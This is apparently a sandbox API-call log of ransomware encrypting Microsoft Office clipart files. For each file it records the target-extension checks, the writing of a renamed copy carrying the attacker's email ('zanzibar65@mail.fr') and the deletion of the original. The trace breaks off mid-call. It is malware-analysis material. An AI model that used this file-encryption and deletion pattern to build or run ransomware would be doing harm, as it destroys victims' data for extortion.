lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.378] lstrlenW (lpString=".jpg") returned 4 [0274.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.378] lstrlenW (lpString=".doc") returned 4 [0274.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.378] lstrlenW (lpString=".docx") returned 5 [0274.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.378] lstrlenW (lpString=".pdf") returned 4 [0274.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.378] lstrlenW (lpString=".xls") returned 4 [0274.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.378] lstrlenW (lpString=".xlsx") returned 5 [0274.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.378] lstrlenW (lpString=".ppt") returned 4 [0274.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.379] lstrlenW (lpString=".zip") returned 4 [0274.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.379] lstrlenW (lpString=".rar") returned 4 [0274.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.379] lstrlenW (lpString=".bz2") returned 4 [0274.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.379] lstrlenW (lpString=".7z") returned 3 [0274.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.379] lstrlenW (lpString=".dbf") returned 4 [0274.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.379] lstrlenW (lpString=".1cd") returned 4 [0274.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 63 [0274.379] lstrlenW (lpString=".jpg") returned 4 [0274.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.379] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.379] lstrlenW (lpString="HH00602_.WMF") returned 12 [0274.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.426] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=1400) returned 1 [0274.426] CloseHandle (hObject=0x3a0) returned 1 [0274.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0274.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.475] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.476] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.478] GetLastError () returned 0x0 [0274.478] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x578, lpOverlapped=0x0) returned 1 [0274.480] WriteFile (in: hFile=0x39c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x580, lpOverlapped=0x0) returned 1 [0274.480] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.480] WriteFile (in: hFile=0x39c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.480] SetEndOfFile (hFile=0x39c) returned 1 [0274.480] CloseHandle (hObject=0x39c) returned 1 [0274.481] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.481] SetEndOfFile (hFile=0x3a0) returned 1 [0274.483] CloseHandle (hObject=0x3a0) returned 1 [0274.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0274.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.538] lstrlenW (lpString=".doc") returned 4 [0274.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.538] lstrlenW (lpString=".docx") returned 5 [0274.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.539] lstrlenW (lpString=".pdf") returned 4 [0274.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.539] lstrlenW (lpString=".xls") returned 4 [0274.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.539] lstrlenW (lpString=".xlsx") returned 5 [0274.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.539] lstrlenW (lpString=".ppt") returned 4 [0274.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.539] lstrlenW (lpString=".zip") returned 4 [0274.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.539] lstrlenW (lpString=".rar") returned 4 [0274.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.539] lstrlenW (lpString=".bz2") returned 4 [0274.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.539] lstrlenW (lpString=".7z") returned 3 [0274.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.539] lstrlenW (lpString=".dbf") returned 4 [0274.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.539] lstrlenW (lpString=".1cd") returned 4 [0274.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.540] lstrlenW (lpString=".jpg") returned 4 [0274.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.540] lstrlenW (lpString=".doc") returned 4 [0274.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString=".docx") returned 5 [0274.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.540] lstrlenW (lpString=".pdf") returned 4 [0274.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString=".xls") returned 4 [0274.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.540] lstrlenW (lpString=".xlsx") returned 5 [0274.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.540] lstrlenW (lpString=".ppt") returned 4 [0274.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.540] lstrlenW (lpString=".zip") returned 4 [0274.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.540] lstrlenW (lpString=".rar") returned 4 [0274.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString=".bz2") returned 4 [0274.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString=".7z") returned 3 [0274.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.540] lstrlenW (lpString=".dbf") returned 4 [0274.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.540] lstrlenW (lpString=".1cd") returned 4 [0274.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0274.541] lstrlenW (lpString=".jpg") returned 4 [0274.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.541] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.541] lstrlenW (lpString="HH00623_.WMF") returned 12 [0274.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.574] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=10644) returned 1 [0274.574] CloseHandle (hObject=0x38c) returned 1 [0274.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0274.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.575] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.575] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.575] GetLastError () returned 0x0 [0274.575] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x2994, lpOverlapped=0x0) returned 1 [0274.582] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0274.583] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.583] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.583] SetEndOfFile (hFile=0x3a0) returned 1 [0274.645] CloseHandle (hObject=0x3a0) returned 1 [0274.645] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.645] SetEndOfFile (hFile=0x38c) returned 1 [0274.647] CloseHandle (hObject=0x38c) returned 1 [0274.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0274.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.647] lstrlenW (lpString=".doc") returned 4 [0274.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.647] lstrlenW (lpString=".docx") returned 5 [0274.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.647] lstrlenW (lpString=".pdf") returned 4 [0274.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.647] lstrlenW (lpString=".xls") returned 4 [0274.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.647] lstrlenW (lpString=".xlsx") returned 5 [0274.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.647] lstrlenW (lpString=".ppt") returned 4 [0274.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.648] lstrlenW (lpString=".zip") returned 4 [0274.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.648] lstrlenW (lpString=".rar") returned 4 [0274.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString=".bz2") returned 4 [0274.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString=".7z") returned 3 [0274.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.648] lstrlenW (lpString=".dbf") returned 4 [0274.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.648] lstrlenW (lpString=".1cd") returned 4 [0274.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.648] lstrlenW (lpString=".jpg") returned 4 [0274.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.648] lstrlenW (lpString=".doc") returned 4 [0274.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString=".docx") returned 5 [0274.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.648] lstrlenW (lpString=".pdf") returned 4 [0274.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.648] lstrlenW (lpString=".xls") returned 4 [0274.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.648] lstrlenW (lpString=".xlsx") returned 5 [0274.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.648] lstrlenW (lpString=".ppt") returned 4 [0274.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.649] lstrlenW (lpString=".zip") returned 4 [0274.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.649] lstrlenW (lpString=".rar") returned 4 [0274.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.649] lstrlenW (lpString=".bz2") returned 4 [0274.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.649] lstrlenW (lpString=".7z") returned 3 [0274.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.649] lstrlenW (lpString=".dbf") returned 4 [0274.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.649] lstrlenW (lpString=".1cd") returned 4 [0274.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0274.649] lstrlenW (lpString=".jpg") returned 4 [0274.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.649] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.649] lstrlenW (lpString="HH00687_.WMF") returned 12 [0274.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.650] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=4340) returned 1 [0274.650] CloseHandle (hObject=0x38c) returned 1 [0274.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0274.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.650] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.650] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.652] GetLastError () returned 0x0 [0274.652] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x10f4, lpOverlapped=0x0) returned 1 [0274.688] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x1100, lpOverlapped=0x0) returned 1 [0274.688] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.689] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.689] SetEndOfFile (hFile=0x3a0) returned 1 [0274.689] CloseHandle (hObject=0x3a0) returned 1 [0274.689] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.689] SetEndOfFile (hFile=0x38c) returned 1 [0274.690] CloseHandle (hObject=0x38c) returned 1 [0274.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0274.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.691] lstrlenW (lpString=".doc") returned 4 [0274.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.691] lstrlenW (lpString=".docx") returned 5 [0274.691] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.691] lstrlenW (lpString=".pdf") returned 4 [0274.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.691] lstrlenW (lpString=".xls") returned 4 [0274.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.691] lstrlenW (lpString=".xlsx") returned 5 [0274.691] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.691] lstrlenW (lpString=".ppt") returned 4 [0274.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.691] lstrlenW (lpString=".zip") returned 4 [0274.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.691] lstrlenW (lpString=".rar") returned 4 [0274.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.691] lstrlenW (lpString=".bz2") returned 4 [0274.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString=".7z") returned 3 [0274.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.692] lstrlenW (lpString=".dbf") returned 4 [0274.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.692] lstrlenW (lpString=".1cd") returned 4 [0274.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.692] lstrlenW (lpString=".jpg") returned 4 [0274.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0274.692] lstrlenW (lpString=".doc") returned 4 [0274.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.692] lstrlenW (lpString=".docx") returned 5 [0274.692] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.692] lstrlenW (lpString=".pdf") returned 4 [0274.692] lstrcmpiW (lpString1=".pdf", 